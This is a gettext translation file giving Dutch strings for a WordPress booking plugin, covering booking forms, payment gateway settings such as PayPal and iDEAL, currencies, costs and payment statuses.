#: core/lang/wpbc_all_translations1.php:421 msgid "The booking has been canceled successfully" msgstr "De annulering van de boeking is geslaagd" #: core/lang/wpbc_all_translations.php:544 #: includes/page-form-simple/page-form-simple.php:1141 msgid "Change your Booking" msgstr "Wijzig uw boeking" #: core/lang/wpbc_all_translations1.php:424 msgid "Cancel Booking" msgstr "Annuleer de boeking" #: core/lang/wpbc_all_translations2.php:69 #: includes/page-bookings/bookings__actions.php:1227 msgid "Warning! The resource was not changed. Current dates are already booked there." msgstr "Opgepast! Het object is niet veranderd. Er zijn al boekingen op die datums." #: core/lang/wpbc_all_translations1.php:429 msgid "Please, enter order number of your purchased version, which you received to your billing email." msgstr "Vul het bestelnummer van je aangekochte versie in, dat je in de facturatie-email ontving." #: core/lang/wpbc_all_translations1.php:430 msgid "If you will get any difficulties or have a questions, please contact by email %s" msgstr "Bij moeilijkheden of vragen, contacteer ons via email %s" #: core/lang/wpbc_all_translations1.php:438 msgid "You can request the new update of plugin on %1$sthis page%2$s." msgstr "Je kunt de nieuwe update van de plugin aanvragen op %1$sdeze pagina%2$s." #: core/lang/wpbc_all_translations1.php:450 msgid "I Accept term and conditions" msgstr "Ik ga akkoord met de algemene voorwaarden" #: core/lang/wpbc_all_translations1.php:457 msgid "Post code (required)" msgstr "Postcode (verplicht)" #: core/lang/wpbc_all_translations1.php:454 msgid "Full cost of the booking" msgstr "Totaalprijs van de boeking" #: core/lang/wpbc_all_translations1.php:461 msgid "Email" msgstr "Email" #: core/lang/wpbc_all_translations1.php:463 msgid "City" msgstr "Plaats" #: core/lang/wpbc_all_translations1.php:481 msgid "Transactions posted against live merchant accounts using either of the above testing methods are not submitted to financial institutions for authorization and are not stored in the Merchant Interface." msgstr "Transacties geplaatst in live verkopersaccounts die enige van bovenstaande testmethodes gebruiken worden niet doorgestuurd naar financiële instellingen voor autorisatie en wordt niet opgeslagen in het Verkoperspaneel." #: core/lang/wpbc_all_translations1.php:486 msgid "Select transaction type, which supported by the payment gateway." msgstr "Selecteer het transactietype, ondersteund door de betaaldienst." #: core/lang/wpbc_all_translations1.php:493 msgid "Accepted Currency" msgstr "Geaccepteerde valuta" #: core/lang/wpbc_all_translations1.php:494 msgid "The currency code that gateway will process the payment in." msgstr "De code van de valuta-eenheid waarin de dienst de betaling zal verwerken." #: core/lang/wpbc_all_translations1.php:495 msgid "Setting the currency that is not supported by the payment processor will result in an error." msgstr "Instellen van een munteenheid die niet door de betalingsverwerker ondersteund wordt zal tot een foutmelding leiden." #: core/lang/wpbc_all_translations1.php:497 msgid "Payment button title" msgstr "Tekst op de betaalknop" #: core/lang/wpbc_all_translations1.php:498 msgid "Enter the title of the payment button" msgstr "Voer de titel van de betaalknop in" #: core/lang/wpbc_all_translations1.php:499 msgid "Payment for booking %s on these day(s): %s" msgstr "Betaling voor boeking %s op deze dag(en): %s" #: core/lang/wpbc_all_translations1.php:502 msgid "You can use any shortcodes, which you have used in content of booking fields data form." msgstr "Je kunt alle shortcodes gebruiken die je gebruikt hebt in de inhoud van boekingsvelden formulier." #: core/lang/wpbc_all_translations1.php:505 msgid "Indicate to the payment gateway that you would like to receive the transaction response to your site." msgstr "Geef aan de betaaldienst aan dat je transactierespons op je site wil ontvangen." #: core/lang/wpbc_all_translations1.php:508 msgid "The URL where visitor will be redirected after completing payment." msgstr "De URL waar de klant zal naartoe geleid worden na het voltooien van de betaling." #: core/lang/wpbc_all_translations1.php:511 msgid "The URL where the visitor will be redirected after completing payment." msgstr "De URL waar de klant naar zal teruggestuurd worden na het voltooien van de betaling." #: core/lang/wpbc_all_translations1.php:513 msgid "Automatically approve booking" msgstr "Boeking automatisch accepteren" #: core/lang/wpbc_all_translations1.php:514 msgid "Check this box to automatically approve booking, when visitor makes a successful payment." msgstr "Vink dit vakje aan om boekingen automatisch te accepteren, nadat de klant heeft betaald." #: core/lang/wpbc_all_translations1.php:515 msgid "This will not work, if the visitor leaves the payment page." msgstr "Dit zal niet werken, als de klant de betalingspagina verlaat." #: core/lang/wpbc_all_translations1.php:521 msgid "Be sure that the merchant server system clock is set to the proper time and time zone." msgstr "Zorg dat de systeemklok van de server voor de verhuurders op de juiste tijd en tijdszone ingesteld is." #: core/lang/wpbc_all_translations1.php:525 msgid "Integration of Bank Transfer payment system" msgstr "Integratie van bankoverschrijving betalingssysteem" #: core/lang/wpbc_all_translations1.php:526 msgid "Account details" msgstr "Details van de rekening" #: core/lang/wpbc_all_translations1.php:530 msgid "Dear %sMake your payment %s directly into our bank account. %sPlease use your Booking ID %s as the payment reference! %s %s: %s %s: %s %s: %s %s: %s" msgstr "Geachte, %sVoer uw betaling uit%s rechtstreeks op onze bankrekening. %sGebruik a.u.b. uw boekings ID %s als de betalingsmededeling %s %s: %s %s: %s %s: %s %s: %s" #: core/lang/wpbc_all_translations1.php:543 msgid "%s - inserting all bank accounts details" msgstr "%s - invoegen van de bankrekening gegevens" #: core/lang/wpbc_all_translations1.php:544 msgid "%s - inserting account name" msgstr "%s - invoegen van de naam van de rekeninghouder" #: core/lang/wpbc_all_translations1.php:545 msgid "%s - inserting account number" msgstr "%s - invoegen van het rekeningnummer" #: core/lang/wpbc_all_translations1.php:546 msgid "%s - inserting bank name " msgstr "%s - invoegen van de naam van de bank " #: core/lang/wpbc_all_translations1.php:547 msgid "%s - inserting sort code " msgstr "%s - invoegen van de sorteringscode " #: core/lang/wpbc_all_translations1.php:548 msgid "%s - inserting IBAN " msgstr "%s - invoegen IBAN " #: core/lang/wpbc_all_translations1.php:549 msgid "%s - inserting BIC " msgstr "%s - invoegen BIC " #: core/lang/wpbc_all_translations1.php:550 msgid "You can use any shortcodes, that you can use in payment description form at Settings Payment General page" msgstr "Je kunt alle shortcodes gebruiken die je kunt gebruiken in het betalingsbeschrijvingsformulier op de Algemene Betaalinstellingen pagina" #: core/lang/wpbc_all_translations1.php:551 msgid "+ Add Account" msgstr "+ Voeg een rekening toe" #: core/lang/wpbc_all_translations1.php:552 msgid "Remove selected account(s)" msgstr "Verwijderen van de geselecteerde klanten(en)" #: core/lang/wpbc_all_translations1.php:570 msgid " Parameters are incorrect," msgstr " Parameters zijn onjuist," #: core/lang/wpbc_all_translations1.php:571 msgid "Cannot find the record" msgstr "Kan het bestand niet vinden" #: core/lang/wpbc_all_translations1.php:565 msgid "Automatically approve/cancel booking" msgstr "Automatisch accepteren/annuleren boeking" #: core/lang/wpbc_all_translations1.php:566 msgid "Check this box to automatically approve bookings, when visitor makes a successful payment, or automatically cancel the booking, when visitor makes a payment cancellation." msgstr "Vink dit vak aan om automatisch boekingen te accepteren, nadat de klant heeft betaald, of annuleer de boeking automatisch nadat de klant de betaling heeft geannuleerd." #: core/lang/wpbc_all_translations1.php:520 msgid "Please configure all fields inside the %sBilling form fields%s section at %sPayments General%s tab." msgstr "Stel aub alle velden in de %sFacturatieformuliervelden%s sectie in op de %sBetalingen Algemeen%s tab." #: core/lang/wpbc_all_translations1.php:584 msgid "fixed sum" msgstr "vaste som" #: core/lang/wpbc_all_translations1.php:587 msgid " Select your cost configuration." msgstr " Selecteer je kostenconfiguratie." #: core/lang/wpbc_all_translations1.php:589 msgid "Check this box if you want the %stime selection%s on the booking form %sapplied to the cost calculation%s." msgstr "Vink dit vakje aan als je wilt dat de %stijdsselectie%s op het boekingsformulier %stoegepast wordt op de kostenberekening%s." #: core/lang/wpbc_all_translations1.php:590 msgid "Check this box if you want that specific additional cost, which configured as percentage for some option, apply to other additional fixed costs and not only to original booking cost." msgstr "Vink dit vakje aan als je wil dat specifieke bijkomende kosten, ingesteld als percentage, toegepast worden op andere bijkomende vaste kosten en niet enkel op de oorspronkelijke boekingskosten." #: core/lang/wpbc_all_translations1.php:612 msgid "Check and configure currency at each activated payment gateway." msgstr "Kijk de munteenheid na en stel ze in bij elke geactiveerde betaalprovider." #: core/lang/wpbc_all_translations1.php:613 msgid "Currency Position" msgstr "Positie valutasymbool" #: core/lang/wpbc_all_translations1.php:614 msgid "Set position of the currency symbol." msgstr "Stel de positie van het valutasymbool in." #: core/lang/wpbc_all_translations1.php:619 msgid "Currency format" msgstr "Formaat van het valutasymbool" #: core/lang/wpbc_all_translations1.php:627 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:402 msgid "Please select" msgstr "Selecteer" #: core/lang/wpbc_all_translations1.php:628 msgid "Please select a field from your booking form. This field will be automatically assigned to the current field in the billing form." msgstr "Selecteer een veld uit het boekingsformulier. Dit veld zal automatisch toegewezen worden aan het huidige veld in het factureringsformulier." #: core/lang/wpbc_all_translations1.php:629 msgid "Customer Email" msgstr "Email van klant" #: core/lang/wpbc_all_translations1.php:632 msgid "Billing Address" msgstr "Adres" #: core/lang/wpbc_all_translations1.php:633 msgid "Billing City" msgstr "Plaats" #: core/lang/wpbc_all_translations1.php:636 msgid "Show booking details in payment form" msgstr "Toon de boekingsdetails op het betalingsformulier" #: core/lang/wpbc_all_translations1.php:637 msgid " Check this checkbox if you want to show the %sbooking details summary%s above the payment form" msgstr " Selecteer dit als u de %sboekingsinformatie%s boven het betalingsformulier wilt weergeven" #: core/lang/wpbc_all_translations1.php:638 msgid "Configure booking details summary above the payment form" msgstr "Stel boekingsdetails totalen in boven het betalingsformulier" #: core/lang/wpbc_all_translations1.php:645 msgid "Payment Description" msgstr "Beschrijving van de betaling" #: core/lang/wpbc_all_translations1.php:647 msgid "Gateway" msgstr "Gateway" #: core/lang/wpbc_all_translations1.php:649 msgid "Some currencies at payment gateways are different from main currency %s" msgstr "Sommige munteenheden bij betalingsproviders zijn verschillend van hoofdmunteenheid %s" #: core/lang/wpbc_all_translations1.php:650 msgid "Interface of plugin is using %s currency. Specific payment gateway will use own currency in payment form without currency exchange! Its can be reason of wrong cost." msgstr "Interface van plugin gebruikt %s valutaeenheid. Een specifieke betalingsprovider zal zijn eigen munteenheid gebruiken in het betalingsformulier zonder koersaanpassing! Dit kan leiden tot een verkeerde prijs." #: core/lang/wpbc_all_translations1.php:651 msgid "ID of booking" msgstr "ID van de boeking" #: core/lang/wpbc_all_translations1.php:652 msgid "ID of booking resources" msgstr "ID van het object" #: core/lang/wpbc_all_translations1.php:655 msgid "content data of this booking" msgstr "inhoudsgegevens van deze boeking" #: core/lang/wpbc_all_translations1.php:656 msgid "show amount to pay" msgstr "toon het te betalen bedrag" #: core/lang/wpbc_all_translations1.php:657 msgid "total booking cost" msgstr "totaalkosten van de boeking" #: core/lang/wpbc_all_translations1.php:658 msgid "deposit cost" msgstr "voorschotkosten" #: core/lang/wpbc_all_translations1.php:659 msgid "balance cost" msgstr "saldo van de kosten" #: core/lang/wpbc_all_translations1.php:660 msgid "original booking cost" msgstr "basisprijs boeking" #: core/lang/wpbc_all_translations1.php:661 msgid "additional booking cost" msgstr "bijkomende kosten van de boeking" #: core/lang/wpbc_all_translations1.php:666 msgid "Pay in Cash" msgstr "Contant betalen" #: core/lang/wpbc_all_translations1.php:667 msgid "Integration of Pay in Cash payment system" msgstr "Integratie van contant betalingssysteem" #: core/lang/wpbc_all_translations1.php:668 msgid "If you accept %scash payment%s, you can write details about it here" msgstr "Als je %scontante betalingen%s ontvangt, kun je details daarover hier schrijven" #: core/lang/wpbc_all_translations1.php:669 msgid "Dear %sPay in cash %s for your booking %s on check in %sFor reference your booking ID: %s" msgstr "Geachte gast, %sBetaal uw boeking contant bij aankomst %s %s %s Het boekingsnr. is: %s" #: core/lang/wpbc_all_translations1.php:677 msgid "Paypal Email address to receive payments" msgstr "Paypal Emailadres om betalingen te ontvangen" #: core/lang/wpbc_all_translations1.php:678 msgid "This is the Paypal Email address where payments will be sent" msgstr "Dit is het Paypal Emailadres waar betalingen naar gestuurd worden" #: core/lang/wpbc_all_translations1.php:681 msgid " Indicates whether the transaction is payment on a final sale or an authorization for a final sale, to be captured later. " msgstr " Geeft aan of de transactie een betaling is voor een voltooide verkoop, of een autorisatie voor een voltooide verkoop, die later nog moet ontvangen worden. " #: core/lang/wpbc_all_translations1.php:682 msgid "Sale" msgstr "Verkoop" #: core/lang/wpbc_all_translations1.php:684 msgid " Select using test (Sandbox Test Environment) or live PayPal payment." msgstr " Selecteer de optie om te testen (Sandbox Testomgeving) of live Paypalbetaling." #: core/lang/wpbc_all_translations1.php:708 msgid "Show Reference Text Box" msgstr "Toon het referentie tekstvak" #: core/lang/wpbc_all_translations1.php:709 msgid "Check this box to show Reference Text Box" msgstr "Vink aan om referentie tekstvak weer te geven" #: core/lang/wpbc_all_translations1.php:712 msgid "Enter a title for the Reference text box (i.e. Your email address). Visitors will see this text." msgstr "Voer een titel in voor het referentie tekstvak (met jouw emailadres). Klanten krijgen deze tekst te zien." #: core/lang/wpbc_all_translations1.php:714 msgid "Cancel Return URL from PayPal" msgstr "Annulerings terugkeer-URL vanuit PayPal" #: core/lang/wpbc_all_translations1.php:720 msgid "Click the Profile subtab." msgstr "Klik de Profiel-subtab." #: core/lang/wpbc_all_translations1.php:725 msgid "Sending email for verified transaction" msgstr "Versturen van een email voor geverifieerde transactie" #: core/lang/wpbc_all_translations1.php:726 msgid "Email for getting report for %sverified%s transactions." msgstr "Email voor het ontvangen van een rapport voor %sgeverifieerde%s transacties." #: core/lang/wpbc_all_translations1.php:727 msgid "Sending email for invalid transaction" msgstr "Versturen van een email voor een ongeldige transactie" #: core/lang/wpbc_all_translations1.php:728 msgid "Email for getting report for %sinvalid%s transactions." msgstr "Email voor het ontvangen van een rapport voor %songeldige%s transacties." #: core/lang/wpbc_all_translations1.php:729 msgid "Sending email if error occur during verification" msgstr "Versturen van een email als zich een fout voordoet tijdens de verificatie" #: core/lang/wpbc_all_translations1.php:730 msgid "Email for getting report for %ssome errors in verification process%s." msgstr "Email om een rapport te ontvangen van %senkele fouten in verificatieproces%s." #: core/lang/wpbc_all_translations1.php:731 msgid "Use SSL connection" msgstr "Gebruik SSL-connectie" #: core/lang/wpbc_all_translations1.php:732 msgid "Use the SSL connection for posting data, instead of standard HTTP connection" msgstr "Gebruik de SSL-connectie om data te versturen, in plaats van de standaard HTTP-connectie" #: core/lang/wpbc_all_translations1.php:735 msgid " Follow these instructions to set up your listener at your PayPal account:" msgstr " Volg deze instructies om je \"listener\" in te stellen in je PayPal-account:" #: core/lang/wpbc_all_translations1.php:737 msgid "Click Instant Payment Notification Preferences in the Selling Preferences column." msgstr "Klik Instant Payment Notification voorkeuren in de verhuurdersvoorkeuren kolom." #: core/lang/wpbc_all_translations1.php:738 msgid "Click Choose IPN Settings to specify your listeners URL and activate the listener." msgstr "Klik Kies IPN Instellingen om je luisteraars-URL te specifiëren en de \"listener\" te activeren." #: core/lang/wpbc_all_translations1.php:739 msgid "Specify the URL for your listener in the Notification URL field as:" msgstr "Specificeer de URL voor je \"listener\" in het veld \"Notificatie-URL\" als:" #: core/lang/wpbc_all_translations1.php:740 msgid "Click Receive IPN messages (Enabled) to enable your listener." msgstr "Klik Ontvang IPN-berichten (Ingeschakeld) om je \"listener\" in te schakelen." #: core/lang/wpbc_all_translations1.php:742 msgid "Click Back to Profile Summary to return to the Profile after activating your listener." msgstr "Klik Terug naar Profielsamenvatting om terug te kieren naar het Profiel na activering van je \"listener\"." #: core/lang/wpbc_all_translations1.php:759 msgid "If you have no account on this system, please visit %s to create one." msgstr "Als je niet geregistreerd bent op dit systeem, bezoek dan %s om te registreren." #: core/lang/wpbc_all_translations1.php:553 msgid "Merchant ID" msgstr "Verkoper ID" #: core/lang/wpbc_all_translations1.php:554 msgid "Enter your iDEAL Merchant ID" msgstr "Vul uw iDEAL Merchant ID in" #: core/lang/wpbc_all_translations1.php:556 msgid "Enter your iDEAL Merchant Key." msgstr "Vul uw iDEAL Merchant key in." #: core/lang/wpbc_all_translations1.php:558 msgid "Test mode requires the option %s to be selected in the %s account configuration section %s" msgstr "De test modus vereist de optie %s om te worden geselecteerd in de %s-account configuratie sectie %s" #: core/lang/wpbc_all_translations1.php:559 msgid "Test with Simulator" msgstr "Test met de simulator" #: core/lang/wpbc_all_translations1.php:560 msgid "My Profile – Connection" msgstr "Mijn profiel - Verbinding" #: core/lang/wpbc_all_translations1.php:563 msgid "If not supplied then the description as configured in the administration/management portal section will be used. If the option %s is selected then the configured description will always be applied." msgstr "Als dit niet is aangegeven dan zal de beschrijving van administratie/beheer gedeelte worden gebruikt. Als de optie %s wel is geselecteerd zal de ingestelde omschrijving worden weergegeven." #: core/lang/wpbc_all_translations1.php:564 msgid "Always use Description" msgstr "Gebruik altijd de omschrijving" #: core/lang/wpbc_all_translations1.php:568 msgid "Processing your %s payments through %s" msgstr "Verwerking van uw %s betaling door %s" #: core/lang/wpbc_all_translations1.php:512 msgid "For example, the URL to your website that displays a %s\"Payment Canceled\"%s page." msgstr "Bv. de URL naar je site die een %s\"Betaling geannuleerd\"%s pagina toont." #: core/lang/wpbc_all_translations1.php:347 msgid "The active language of the booking form depends on the active locale of the site." msgstr "De actieve taal van het boekingsformulier hangt af van de actieve taal van de site." #: core/lang/wpbc_all_translations1.php:500 msgid "Payment description at gateway website" msgstr "Betalingsbeschrijving op de site van de provider" #: core/lang/wpbc_all_translations1.php:611 msgid "This is default currency that showing at your website. Specific payment gateway(s) can support or does not suport it." msgstr "Dit is de standaard valuta-eenheid die op je site getoond wordt. Specifieke betaal gateway(s) kunnen deze wel of niet ondersteunen." #: core/lang/wpbc_all_translations1.php:721 msgid "Click Website Payment Preferences in the Seller Preferences column." msgstr "Klik Site betalingsvoorkeuren in de verkoper voorkeuren-kolom." #: core/lang/wpbc_all_translations1.php:722 msgid "Under Auto Return for Website Payments, click the On radio button." msgstr "Bij Automatisch Terugkeren voor Site betalingen, klik op de radio knop." #: core/lang/wpbc_all_translations1.php:516 msgid "%s Settings" msgstr "%s instellingen" #: core/lang/wpbc_all_translations1.php:693 msgid "Swedish Krona" msgstr "Zweedse kroon" #: core/lang/wpbc_all_translations1.php:690 msgid "Swiss Franc" msgstr "Zwitserse frank" #: core/lang/wpbc_all_translations1.php:579 msgid "Malaysian Ringgit" msgstr "Maleisische ringgit" #: core/lang/wpbc_all_translations1.php:286 msgid "Please check more about this feature %shere%s." msgstr "Ontdek meer over deze functie %shier%s." #: core/lang/wpbc_all_translations1.php:291 msgid "Drop Down" msgstr "Dropdown" #: core/lang/wpbc_all_translations1.php:292 msgid "Checkbox(es)" msgstr "Aanvinkvakje(s)" #: core/lang/wpbc_all_translations1.php:293 msgid "Radio Button(s)" msgstr "Selectierondje(s)" #: core/lang/wpbc_all_translations1.php:295 msgid "Submit Button" msgstr "Verzendknop" #: core/lang/wpbc_all_translations1.php:296 msgid "Times Fields" msgstr "Velden voor tijden" #: core/lang/wpbc_all_translations1.php:297 msgid "Time Slot List" msgstr "Lijst van tijdsvakken" #: core/lang/wpbc_all_translations1.php:298 msgid "Select the %s using the predefined %sTime List%s." msgstr "Selecteer de %s door de voorgedefinieerde %sTijdslijst%s te gebruiken." #: core/lang/wpbc_all_translations1.php:299 msgid "Time Slot" msgstr "Tijdsvak" #: core/lang/wpbc_all_translations1.php:302 msgid "Also some early versions of the IE do not support disabling of the options in the selectboxes." msgstr "Sommige eerdere versie van IE ondersteunen geen uitschakelen van opties in de selectievakken." #: core/lang/wpbc_all_translations1.php:306 msgid "Start Time - Text field" msgstr "Starttijd - tekstveld" #: core/lang/wpbc_all_translations1.php:308 msgid "Start Time" msgstr "Starttijd" #: core/lang/wpbc_all_translations1.php:309 msgid "Please note: this field only supports military time format %s(24 Hour Time)%s." msgstr "Let wel: dit veld ondersteunt enkel %s24u-tijdsformaat%s." #: core/lang/wpbc_all_translations1.php:311 msgid "End Time" msgstr "Eindtijd" #: core/lang/wpbc_all_translations1.php:312 msgid "Duration Time" msgstr "Tijdsduur" #: core/lang/wpbc_all_translations.php:830 msgid "Additional cost, which depends on the fields selection in the form." msgstr "Bijkomende kosten, afhankelijk van selectie van velden in het formulier." #: core/lang/wpbc_all_translations.php:836 msgid "Cache expiration" msgstr "Cache verloopdatum" #: core/lang/wpbc_all_translations.php:837 msgid "Select time of cache expiration" msgstr "Selecteer tijd van verloop van de cache" #: core/lang/wpbc_all_translations.php:855 msgid "Cache Updated" msgstr "Cache bijgewerkt" #: core/lang/wpbc_all_translations.php:856 js/wpbc-gutenberg.js:1131 msgid "Search Results" msgstr "Zoekresultaten" #: core/lang/wpbc_all_translations.php:857 msgid "Search Cache" msgstr "Zoekcache" #: core/lang/wpbc_all_translations.php:860 msgid "CSS customization of search form and search results you can make at this file" msgstr "CSS aanpassing van zoekformulier en zoekresultaten in dit bestand" #: core/lang/wpbc_all_translations.php:861 msgid "Select Template" msgstr "Selecteer template" #: core/admin/wpbc-toolbars.php:1128 core/lang/wpbc_all_translations.php:499 #: includes/page-availability/availability__toolbar_ui.php:253 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:857 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1012 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1262 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1404 #: includes/ui_modal__shortcodes/tiny-button-popup.php:272 #: includes/_toolbar_ui/toolbar_ui.php:895 msgid "Reset" msgstr "Opnieuw instellen" #: core/lang/wpbc_all_translations.php:867 msgid "Reset current Form" msgstr "Huidig formulier opnieuw instellen" #: core/lang/wpbc_all_translations.php:868 msgid "Cache will expire:" msgstr "Cache zal verlopen:" #: core/lang/wpbc_all_translations.php:870 msgid "Page" msgstr "Pagina" #: core/lang/wpbc_all_translations.php:871 msgid "Reset Search Cache" msgstr "Zoekcache legen" #: core/lang/wpbc_all_translations.php:877 msgid "Search results." msgstr "Zoekresultaten." #: core/lang/wpbc_all_translations.php:882 msgid "Please type the %sTitle of search results%s." msgstr "Typ de %sTitel van zoekresultaten%s." #: core/lang/wpbc_all_translations.php:887 msgid "Weekend" msgstr "Weekend" #: core/lang/wpbc_all_translations.php:888 msgid "High season" msgstr "Hoogseizoen" #: core/lang/wpbc_all_translations.php:890 msgid "Select number of available days in calendar start from today." msgstr "Selecteer aantal beschikbare dagen in de kalender start vanaf vandaag." #: core/lang/wpbc_all_translations.php:899 msgid "Type your %scost%s description" msgstr "Typ je %skostprijs%s beschrijving" #: core/lang/wpbc_all_translations.php:908 msgid "Custom Forms" msgstr "Aangepaste formulieren" #: core/lang/wpbc_all_translations.php:917 msgid "All days" msgstr "Alle dagen" #: core/lang/wpbc_all_translations.php:918 msgid "available" msgstr "beschikbaar" #: core/lang/wpbc_all_translations.php:919 msgid "unavailable" msgstr "niet beschikbaar" #: core/lang/wpbc_all_translations1.php:648 msgid "Enabled" msgstr "Ingeschakeld" #: core/lang/wpbc_all_translations.php:931 msgid "Configure additional cost, which depend from selection of selectbox(es) and checkbox(es)." msgstr "Bijkomende kosten configureren, die afhangen van selectie (keuzerondjes en aanvinkvakjes)." #: core/lang/wpbc_all_translations.php:929 msgid "night" msgstr "nacht" #: core/lang/wpbc_all_translations.php:930 msgid "as additional sum" msgstr "als bijkomende som" #: core/lang/wpbc_all_translations.php:935 msgid "Enter fixed cost" msgstr "Voer vaste kosten in" #: core/lang/wpbc_all_translations.php:940 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:987 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1379 msgid "or" msgstr "of" #: core/lang/wpbc_all_translations.php:927 msgid "Deposit type" msgstr "Type voorschot" #: core/lang/wpbc_all_translations.php:933 msgid "Enter additional cost in formats:" msgstr "Voer bijkomende kosten in formaat in:" #: core/lang/wpbc_all_translations.php:936 msgid "%s, then total cost will be %s" msgstr "%s, dan zullen de totale kosten %s zijn" #: core/lang/wpbc_all_translations.php:953 msgid "fixed total in" msgstr "vast totaal in" #: core/lang/wpbc_all_translations.php:954 msgid "of payment" msgstr "van betaling" #: core/lang/wpbc_all_translations.php:955 msgid "Conditions" msgstr "Voorwaarden" #: core/lang/wpbc_all_translations.php:958 msgid "Any days" msgstr "Alle dagen" #: core/lang/wpbc_all_translations.php:969 msgid "Rates" msgstr "Tarieven" #: core/lang/wpbc_all_translations.php:977 msgid "Cost setings at %stop have higher priority%s than other costs of same type at the %sbottom%s of the list." msgstr "Kostprijsinstellingen %sbovenaan hebben hogere prioriteit%s dan andere kosten van hetzelfde type %sonderaan%s de lijst." #: core/lang/wpbc_all_translations.php:979 msgid "Together" msgstr "Samen" #: core/lang/wpbc_all_translations.php:980 msgid "For" msgstr "Voor" #: core/lang/wpbc_all_translations.php:982 msgid "%s - definition of check-out date." msgstr "%s - bepaling van vertrekdatum." #: core/admin/api-settings.php:891 core/admin/api-settings.php:1000 #: core/lang/wpbc_all_translations.php:90 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:157 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:181 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:212 #: includes/ui_modal__shortcodes/sh_tpl_booking_search.php:299 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:369 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:402 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:189 msgid "Example" msgstr "Voorbeeld" #: core/lang/wpbc_all_translations.php:986 msgid "per 1 day" msgstr "per 1 dag" #: core/lang/wpbc_all_translations.php:988 msgid "Additional cost in %s per 1 day" msgstr "Bijkomende kosten in %s per 1 dag" #: core/lang/wpbc_all_translations.php:990 msgid "Costs and Rates Settings" msgstr "Instellingen van kosten en tarieven" #: core/lang/wpbc_all_translations1.php:10 msgid "Weekdays" msgstr "Weekdagen" #: core/lang/wpbc_all_translations1.php:11 #: core/timeline/v2/wpbc-class-timeline_v2.php:2845 msgid "Months" msgstr "Maanden" #: core/lang/wpbc_all_translations1.php:24 msgid "Years" msgstr "Jaren" #: core/lang/wpbc_all_translations1.php:44 msgid "No days" msgstr "Geen dagen" #: core/lang/wpbc_all_translations1.php:45 msgid "time" msgstr "tijd" #: core/lang/wpbc_all_translations1.php:46 msgid "Every" msgstr "Elke" #: core/lang/wpbc_all_translations1.php:52 msgid "of" msgstr "van" #: core/lang/wpbc_all_translations1.php:58 msgid "Add New Custom Form" msgstr "Nieuw aangepast formulier toevoegen" #: core/lang/wpbc_all_translations1.php:60 msgid "Create" msgstr "Aanmaken" #: core/lang/wpbc_all_translations1.php:61 msgid "Create new form" msgstr "Nieuw formulier aanmaken" #: core/lang/wpbc_all_translations1.php:64 msgid "Apartment#1" msgstr "Apartement nr. 1" #: core/lang/wpbc_all_translations1.php:65 msgid "Apartment#2" msgstr "Apartement nr. 2" #: core/lang/wpbc_all_translations1.php:66 msgid "Apartment#3" msgstr "Apartement nr. 3" #: core/lang/wpbc_all_translations1.php:68 msgid "Select a %sFIXED%s number of days with %s1 mouse click%s" msgstr "Selecteer een %sVAST%s aantal dagen met %s1 muisklik%s" #: core/lang/wpbc_all_translations1.php:69 msgid "Select a %sDYNAMIC%s range of days with %s2 mouse clicks%s" msgstr "Selecteer een %sDYNAMISCHE%s reeks van dagen met %s2 muiskliks%s" #: core/lang/wpbc_all_translations1.php:71 msgid "Type your %snumber of days for range selection%s" msgstr "Typ je %saantal dagen voor selectie van reeks%s" #: core/lang/wpbc_all_translations1.php:73 msgid "Any day of week" msgstr "Om het even welke dag van de week" #: core/lang/wpbc_all_translations1.php:74 #: includes/page-customize/customize__templates.php:1873 #: includes/page-customize/customize__templates.php:2003 msgid "Start day of range" msgstr "Startdag van reeks" #: core/lang/wpbc_all_translations1.php:75 msgid "Select your start day of range selection at week" msgstr "Selecteer startdag van geselecteerde reeks in week" #: core/lang/wpbc_all_translations1.php:76 msgid "Min" msgstr "Min" #: core/lang/wpbc_all_translations1.php:77 msgid "Max" msgstr "Max" #: core/lang/wpbc_all_translations1.php:78 msgid "Select your %sminimum and maximum number of days for range selection%s" msgstr "Selecteer je %sminimum en maximum aantal dagen voor selectie van reeks%s" #: core/admin/page-ics-general.php:181 core/lang/wpbc_all_translations.php:293 msgid "Use check in/out time" msgstr "Gebruik aankomst/vertrek tijd" #: core/lang/wpbc_all_translations1.php:86 msgid "Check-in time" msgstr "Aankomst tijd" #: core/lang/wpbc_all_translations1.php:88 msgid "Check-Out time" msgstr "Vertrektijd" #: core/lang/wpbc_all_translations1.php:109 msgid "Reason for cancellation" msgstr "Reden van annulering" #: core/lang/wpbc_all_translations1.php:112 msgid "Payment request" msgstr "Betalingsverzoek" #: core/lang/wpbc_all_translations1.php:115 msgid "The payment status is changed successfully" msgstr "Betaalstatus is succesvol aangepast" #: core/lang/wpbc_all_translations1.php:789 #: includes/_capacity/confirmation.php:239 msgid "Total cost" msgstr "Totale kosten" #: core/lang/wpbc_all_translations1.php:988 #: includes/page-bookings/bookings__actions.php:2305 #: includes/_toolbar_ui/toolbar_ui.php:1519 msgid "Payment status" msgstr "Betalingsstatus" #: core/lang/wpbc_all_translations1.php:986 #: includes/_toolbar_ui/toolbar_ui.php:1475 msgid "Any Status" msgstr "Elke status" #: core/lang/wpbc_all_translations1.php:987 #: includes/_toolbar_ui/toolbar_ui.php:1478 msgid "Unknown Status" msgstr "Onbekende status" #: core/lang/wpbc_all_translations1.php:128 #: includes/_toolbar_ui/toolbar_ui.php:1479 msgid "Not Completed" msgstr "Niet voltooid" #: core/lang/wpbc_all_translations1.php:123 #: includes/_toolbar_ui/toolbar_ui.php:1480 msgid "Failed" msgstr "Mislukt" #: core/lang/wpbc_all_translations1.php:117 #: includes/page-bookings/bookings__sql.php:1824 msgid "Completed" msgstr "Voltooid" #: core/lang/wpbc_all_translations1.php:120 msgid "In-Progress" msgstr "In behandeling" #: core/lang/wpbc_all_translations1.php:121 msgid "Partially paid" msgstr "Gedeeltelijk betaald" #: core/lang/wpbc_all_translations1.php:122 msgid "Cancelled" msgstr "Geannuleerd" #: core/lang/wpbc_all_translations1.php:124 msgid "Refunded" 